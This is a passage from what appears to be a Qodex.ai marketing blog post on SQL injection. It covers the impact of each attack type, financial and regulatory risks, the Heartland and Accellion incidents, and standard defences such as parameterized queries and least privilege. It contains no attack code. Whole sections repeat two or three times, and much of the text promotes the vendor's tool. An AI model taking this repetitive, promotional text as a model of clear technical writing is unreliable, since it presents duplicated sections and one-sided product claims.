Error-based Injection

Exposes data through error messages

Typically allows initial read-only access

May cause instability through repetitive errors

Blind Injection

Extracts data slowly but comprehensively

Potential for data manipulation

Resource-intensive queries can slow performance

A single SQL injection attack can target all three security aspects simultaneously, creating a multi-faceted challenge for organizations. The technical damage is often compounded by financial and regulatory consequences.

Financial and Compliance Risks

The fallout from SQL injection attacks extends beyond technical damage, with financial and compliance risks adding to the burden:

  • Direct Costs: Organizations face expenses for incident response, forensic analysis, system recovery, and notifying affected customers.

  • Regulatory Penalties: Industries under strict regulation, such as healthcare and finance, may face heavy fines and increased scrutiny after a breach. Compliance with data breach notification laws often requires immediate and costly action.

  • Business Disruption: System downtime can cause significant revenue loss, reduced productivity, and strained customer relationships - especially during critical business periods like holidays or sales events.

  • Reputation and Legal Liability: A breach can tarnish an organization's reputation, leading to higher customer acquisition costs and lost business opportunities. Legal challenges, including lawsuits and settlements, can further strain resources.

The combined impact of these risks highlights the need for robust defenses against SQL injection attacks. A single breach can ripple through an organization, affecting its finances, operations, and customer trust.

SQL injection attacks can compromise sensitive data, disrupt business operations, and damage an organization's reputation. These attacks pose a direct threat to the core principles of information security and come with significant, measurable consequences.

Impact on Confidentiality, Integrity, and Availability

SQL injection attacks undermine the three key pillars of information security:

  • Confidentiality: Sensitive data - such as customer information, financial records, or proprietary details - can be exposed, putting both individuals and businesses at risk.

  • Integrity: Attackers gain the ability to manipulate, delete, or corrupt critical database records, leading to unreliable or altered data.

  • Availability: By overloading databases or running resource-heavy queries, attackers can cause system downtime, delete tables, or even corrupt the database structure.

Different SQL injection techniques impact these pillars:

Attack Type

Confidentiality Impact

Integrity Impact

Availability Impact

Classic SQL Injection

Bypasses login controls to expose sensitive data

Grants full read/write access

Can delete or corrupt essential system data

Union-based Injection

Extracts sensitive information systematically

Limited to data viewing

Minimal direct impact on system uptime

Error-based Injection

Exposes data through error messages

Typically allows initial read-only access

May cause instability through repetitive errors

Blind Injection

Extracts data slowly but comprehensively

Potential for data manipulation

Resource-intensive queries can slow performance

A single SQL injection attack can target all three security aspects simultaneously, creating a multi-faceted challenge for organizations. The technical damage is often compounded by financial and regulatory consequences.

Financial and Compliance Risks

The fallout from SQL injection attacks extends beyond technical damage, with financial and compliance risks adding to the burden:

  • Direct Costs: Organizations face expenses for incident response, forensic analysis, system recovery, and notifying affected customers.

  • Regulatory Penalties: Industries under strict regulation, such as healthcare and finance, may face heavy fines and increased scrutiny after a breach. Compliance with data breach notification laws often requires immediate and costly action.

  • Business Disruption: System downtime can cause significant revenue loss, reduced productivity, and strained customer relationships - especially during critical business periods like holidays or sales events.

  • Reputation and Legal Liability: A breach can tarnish an organization's reputation, leading to higher customer acquisition costs and lost business opportunities. Legal challenges, including lawsuits and settlements, can further strain resources.

The combined impact of these risks highlights the need for robust defenses against SQL injection attacks. A single breach can ripple through an organization, affecting its finances, operations, and customer trust.

Best Practices to Prevent SQL Injection (SQLi)


Real-world incidents (credibility + context)

  • Heartland Payment Systems (2008): SQLi led to ~130M card numbers stolen; >$140M in penalties and remediation.

  • Accellion FTA (2020–21): SQLi chained to OS command execution (DEWMODE) impacted regulators and enterprises; illustrates SQLi as a gateway to broader compromise.


Some of the best practices every organization should follow:

Keeping your database safe from SQL injection is not about one single fix—it’s about combining good coding habits, strict access rules, and smart monitoring.


1. Use Prepared Statements (Parameterized Queries)
Always separate SQL commands from user input. Prepared statements ensure that user data is treated as data only, not as executable code. This is the most effective defense against SQL injection.

2. Validate User Input
Double-check all incoming data. Make sure it matches the expected format, length, and type (e.g., numbers where only numbers are allowed). This helps block invalid or suspicious inputs before they reach the database.

3. Apply Least Privilege Access
Give database accounts only the permissions they need. For example, an account that just reads customer data should not be able to delete or edit tables. This way, even if hackers get in, the damage is limited.

4. Monitor and Audit Regularly
Keep track of unusual behavior, like too many failed logins or strange query patterns. Regularly review user accounts and permissions, and remove anything that’s not needed.

5. Use Database Firewalls and Alerts
Database firewalls can spot and block queries that look suspicious. Real-time alerts notify your team whenever there’s unusual activity, so you can react quickly.

6. Automate Testing with Qodex.ai
Manual testing can’t always keep up with today’s threats. That’s where Qodex.ai comes in. Our AI-powered security testing automatically checks your APIs for SQL injection and other OWASP Top 10 vulnerabilities. With no-code test creation, auto-healing, and continuous scanning, Qodex.ai makes sure your applications are protected without slowing your team down.

In short: Combine secure coding, strict access control, continuous monitoring, and automation with Qodex.ai to build strong, reliable protection against SQL Injection.


Real-world incidents (credibility + context)

  • Heartland Payment Systems (2008): SQLi led to ~130M card numbers stolen; >$140M in penalties and remediation.

  • Accellion FTA (2020–21): SQLi chained to OS command execution (DEWMODE) impacted regulators and enterprises; illustrates SQLi as a gateway to broader compromise.


Some of the best practices every organization should follow:

Keeping your database safe from SQL injection is not about one single fix—it’s about combining good coding habits, strict access rules, and smart monitoring.


1. Use Prepared Statements (Parameterized Queries)
Always separate SQL commands from user input. Prepared statements ensure that user data is treated as data only, not as executable code. This is the most effective defense against SQL injection.

2. Validate User Input
Double-check all incoming data. Make sure it matches the expected format, length, and type (e.g., numbers where only numbers are allowed). This helps block invalid or suspicious inputs before they reach the database.

3. Apply Least Privilege Access
Give database accounts only the permissions they need. For example, an account that just reads customer data should not be able to delete or edit tables. This way, even if hackers get in, the damage is limited.

4. Monitor and Audit Regularly
Keep track of unusual behavior, like too many failed logins or strange query patterns. Regularly review user accounts and permissions, and remove anything that’s not needed.

5. Use Database Firewalls and Alerts
Database firewalls can spot and block queries that look suspicious. Real-time alerts notify your team whenever there’s unusual activity, so you can react quickly.

6. Automate Testing with Qodex.ai
Manual testing can’t always keep up with today’s threats. That’s where Qodex.ai comes in. Our AI-powered security testing automatically checks your APIs for SQL injection and other OWASP Top 10 vulnerabilities. With no-code test creation, auto-healing, and continuous scanning, Qodex.ai makes sure your applications are protected without slowing your team down.

In short: Combine secure coding, strict access control, continuous monitoring, and automation with Qodex.ai to build strong, reliable protection against SQL Injection.


Real-world incidents (credibility + context)

  • Heartland Payment Systems (2008): SQLi led to ~130M card numbers stolen; >$140M in penalties and remediation.

  • Accellion FTA (2020–21): SQLi chained to OS command execution (DEWMODE) impacted regulators and enterprises; illustrates SQLi as a gateway to broader compromise.


Some of the best practices every organization should follow:

Keeping your database safe from SQL injection is not about one single fix—it’s about combining good coding habits, strict access rules, and smart monitoring.


1. Use Prepared Statements (Parameterized Queries)
Always separate SQL commands from user input. Prepared statements ensure that user data is treated as data only, not as executable code. This is the most effective defense against SQL injection.

2. Validate User Input
Double-check all incoming data. Make sure it matches the expected format, length, and type (e.g., numbers where only numbers are allowed). This helps block invalid or suspicious inputs before they reach the database.

3. Apply Least Privilege Access
Give database accounts only the permissions they need. For example, an account that just reads customer data should not be able to delete or edit tables. This way, even if hackers get in, the damage is limited.

4. Monitor and Audit Regularly
Keep track of unusual behavior, like too many failed logins or strange query patterns. Regularly review user accounts and permissions, and remove anything that’s not needed.

5. Use Database Firewalls and Alerts
Database firewalls can spot and block queries that look suspicious. Real-time alerts notify your team whenever there’s unusual activity, so you can react quickly.

6. Automate Testing with Qodex.ai
Manual testing can’t always keep up with today’s threats. That’s where Qodex.ai comes in. Our AI-powered security testing automatically checks your APIs for SQL injection and other OWASP Top 10 vulnerabilities. With no-code test creation, auto-healing, and continuous scanning, Qodex.ai makes sure your applications are protected without slowing your team down.

In short: Combine secure coding, strict access control, continuous monitoring, and automation with Qodex.ai to build strong, reliable protection against SQL Injection.

Get opensource free alternative of postman. Free upto 100 team members!

Get opensource free alternative of postman. Free upto 100 team members!

Get opensource free alternative of postman. Free upto 100 team members!

Conclusion


After diving deep into the various types of SQL injection attacks and their defenses, it's clear that this threat remains a persistent danger to databases. From exposing sensitive data to corrupting records and even disabling entire systems, SQL injection exploits can wreak havoc. Understanding the mechanics of these attacks is the first step toward building a strong line of defense.

For organizations in the U.S., the stakes couldn't be higher. Beyond the immediate fallout of data breaches, businesses risk hefty regulatory fines, legal repercussions, and long-term damage to their reputation. Preventing SQL injection isn't just about technical safeguards - it's a critical business priority.


After diving deep into the various types of SQL injection attacks and their defenses, it's clear that this threat remains a persistent danger to databases. From exposing sensitive data to corrupting records and even disabling entire systems, SQL injection exploits can wreak havoc. Understanding the mechanics of these attacks is the first step toward building a strong line of defense.

For organizations in the U.S., the stakes couldn't be higher. Beyond the immediate fallout of data breaches, businesses risk hefty regulatory fines, legal repercussions, and long-term damage to their reputation. Preventing SQL injection isn't just about technical safeguards - it's a critical business priority.


After diving deep into the various types of SQL injection attacks and their defenses, it's clear that this threat remains a persistent danger to databases. From exposing sensitive data to corrupting records and even disabling entire systems, SQL injection exploits can wreak havoc. Understanding the mechanics of these attacks is the first step toward building a strong line of defense.

For organizations in the U.S., the stakes couldn't be higher. Beyond the immediate fallout of data breaches, businesses risk hefty regulatory fines, legal repercussions, and long-term damage to their reputation. Preventing SQL injection isn't just about technical safeguards - it's a critical business priority.

Role of AI Tools

Continuous monitoring is a game-changer, and AI-powered tools are leading the charge in database security. Take Qodex's AI-powered API security testing, for example. It automatically identifies APIs across your infrastructure and conducts thorough SQL injection tests, covering the full OWASP Top 10 vulnerabilities. With its no-code test creation, security teams can design complex scenarios in plain English, and its auto-healing feature ensures tests stay effective as applications evolve.

For U.S.-based organizations juggling multiple projects and compliance demands, automated solutions like Qodex are becoming indispensable. Its ability to run tests in both cloud environments and local GitHub repositories caters to diverse workflows. Plus, with pricing starting at $0 for solo developers and scalable options for larger teams, it’s accessible to businesses of all sizes - even those without dedicated security experts.

Continuous monitoring is a game-changer, and AI-powered tools are leading the charge in database security. Take Qodex's AI-powered API security testing, for example. It automatically identifies APIs across your infrastructure and conducts thorough SQL injection tests, covering the full OWASP Top 10 vulnerabilities. With its no-code test creation, security teams can design complex scenarios in plain English, and its auto-healing feature ensures tests stay effective as applications evolve.

For U.S.-based organizations juggling multiple projects and compliance demands, automated solutions like Qodex are becoming indispensable. Its ability to run tests in both cloud environments and local GitHub repositories caters to diverse workflows. Plus, with pricing starting at $0 for solo developers and scalable options for larger teams, it’s accessible to businesses of all sizes - even those without dedicated security experts.

Continuous monitoring is a game-changer, and AI-powered tools are leading the charge in database security. Take Qodex's AI-powered API security testing, for example. It automatically identifies APIs across your infrastructure and conducts thorough SQL injection tests, covering the full OWASP Top 10 vulnerabilities. With its no-code test creation, security teams can design complex scenarios in plain English, and its auto-healing feature ensures tests stay effective as applications evolve.

For U.S.-based organizations juggling multiple projects and compliance demands, automated solutions like Qodex are becoming indispensable. Its ability to run tests in both cloud environments and local GitHub repositories caters to diverse workflows. Plus, with pricing starting at $0 for solo developers and scalable options for larger teams, it’s accessible to businesses of all sizes - even those without dedicated security experts.

FAQs

Why should you choose Qodex.ai?

Why should you choose Qodex.ai?

Why should you choose Qodex.ai?

How can I validate an email address using Python regex?

How can I validate an email address using Python regex?

How can I validate an email address using Python regex?

What is Go Regex Tester?

What is Go Regex Tester?

What is Go Regex Tester?

Remommended posts